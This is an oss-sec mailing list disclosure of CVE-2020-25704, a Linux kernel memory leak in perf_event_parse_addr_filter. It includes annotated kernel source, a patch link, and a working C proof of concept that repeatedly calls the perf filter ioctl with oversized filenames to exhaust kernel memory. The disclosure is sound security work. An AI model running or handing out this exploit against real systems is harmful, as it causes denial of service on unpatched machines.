[CVE-2020-25704] Linux kernel: perf_event_parse_addr_filter memory leak

Related Vulnerabilities: CVE-2020-25704  
                							

                <!--X-Body-Begin-->
<!--X-User-Header-->

oss-sec
mailing list archives
<!--X-User-Header-End-->
<!--X-TopPNI-->

By Date

By Thread

</form>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
[CVE-2020-25704] Linux kernel: perf_event_parse_addr_filter memory leak

<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->

From: kiyin(尹亮) &lt;kiyin () tencent com&gt;

Date: Mon, 9 Nov 2020 10:39:36 +0000

<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->

<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
CVE assigned:
CVE-2020-25704

Patch:
https://git.kernel.org/pub/scm/linux/kernel/git/tip/tip.git/commit/?id=7bdb157cdebbf95a1cd94ed2e01b338714075d00

Details:

Hi,

There is a memory leak in perf_event_parse_addr_filter. Here is the detail.

https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/kernel/events/core.c?h=v5.9.3#n9991
9991        static int
9992        perf_event_parse_addr_filter(struct perf_event *event, char *fstr,
9993                         struct list_head *filters)
9994        {
......................................................................................................................................................................................................................
10058                    if (token == IF_SRC_FILE || token == IF_SRC_FILEADDR) {
10059                        int fpos = token == IF_SRC_FILE ? 2 : 1;
10060        
10061                        filename = match_strdup(&amp;args[fpos]);                       &lt;--------------- match_strdup 
allocates memory for filename
10062                        if (!filename) {
10063                            ret = -ENOMEM;
10064                            goto fail;
10065                        }
10066                    }
......................................................................................................................................................................................................................
10089                    if (filter-&gt;action == PERF_ADDR_FILTER_ACTION_FILTER &amp;&amp;         &lt;--------------- if 
filter-&gt;action == PERF_ADDR_FILTER_ACTION_FILTER and filter-&gt;size is zero, go to failed branch
10090                        !filter-&gt;size)
10091                        goto fail;
10092        
......................................................................................................................................................................................................................
10140        fail_free_name:
10141            kfree(filename);
10142        fail:                                                                       &lt;--------------- filename is 
not freed in the failed branch. that causes a memory leak.
10143            free_filters_list(filters);
10144            kfree(orig);
10145        
10146            return ret;
10147        } 

the length of filename is no limit. using the following test code, it will take 40 seconds to exhaust 16GB memory in my 
laptop: CPU intel i5 10210U,Ubuntu 20.04, kernel version 5.4.0-42-generic. then I have to press power button to reboot 
the system manually.

#include &lt;sys/ioctl.h&gt;
#include &lt;linux/perf_event.h&gt;
#include &lt;unistd.h&gt;
#include &lt;string.h&gt;

#define __NR_perf_event_open    298

static long perf_event_open( struct perf_event_attr *hw_event, pid_t pid, int cpu, int group_fd, unsigned long flags ) {
    int ret;

    ret = syscall( __NR_perf_event_open, hw_event, pid, cpu, group_fd, flags );
    return ret;
}

char buf[11 + 1024 * 1024 * 16 + 1] = { 0 };

int main( void )
{
    int fd1, i;
    struct perf_event_attr pe1 = { 0 };

    pe1.type = 9; // may be different in other system. just run" cat /sys/bus/event_source/devices/intel_pt/type"
    pe1.exclude_kernel = 1;
    pe1.exclude_hv = 1;
    pe1.exclude_idle = 1;

    fd1 = perf_event_open( &amp;pe1, getpid(), -1, -1, 0 );
    if ( fd1 &gt; 0 )
    {
        memset( buf, 'A', 11 + 1024 * 1024 * 16 ); //filename length is 16MB
        memcpy( buf, "filter,0/0@", 11 );

        for ( i = 0; i &lt; 1024; i++ )
        {
            ioctl( fd1, PERF_EVENT_IOC_SET_FILTER, buf ); //leak 16MB*1024=16GB
        }

        buf[11 + 1024 * 1024] = '\0'; //filename length is 1MB
        for ( i = 0; i &lt; 16; i++ )
        {
            ioctl( fd1, PERF_EVENT_IOC_SET_FILTER, buf ); //leak 1MB*16=16MB
        }

        buf[11 + 1024] = '\0'; //filename length is 1KB
        while ( 1 )
            ioctl( fd1, PERF_EVENT_IOC_SET_FILTER, buf ); //leak the rest
    }
    return 0;
}

Regards,
kiyin.

<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->

<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->

By Date

By Thread

Current thread:

[CVE-2020-25704] Linux kernel: perf_event_parse_addr_filter memory leak 尹亮 (Nov 09)

<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->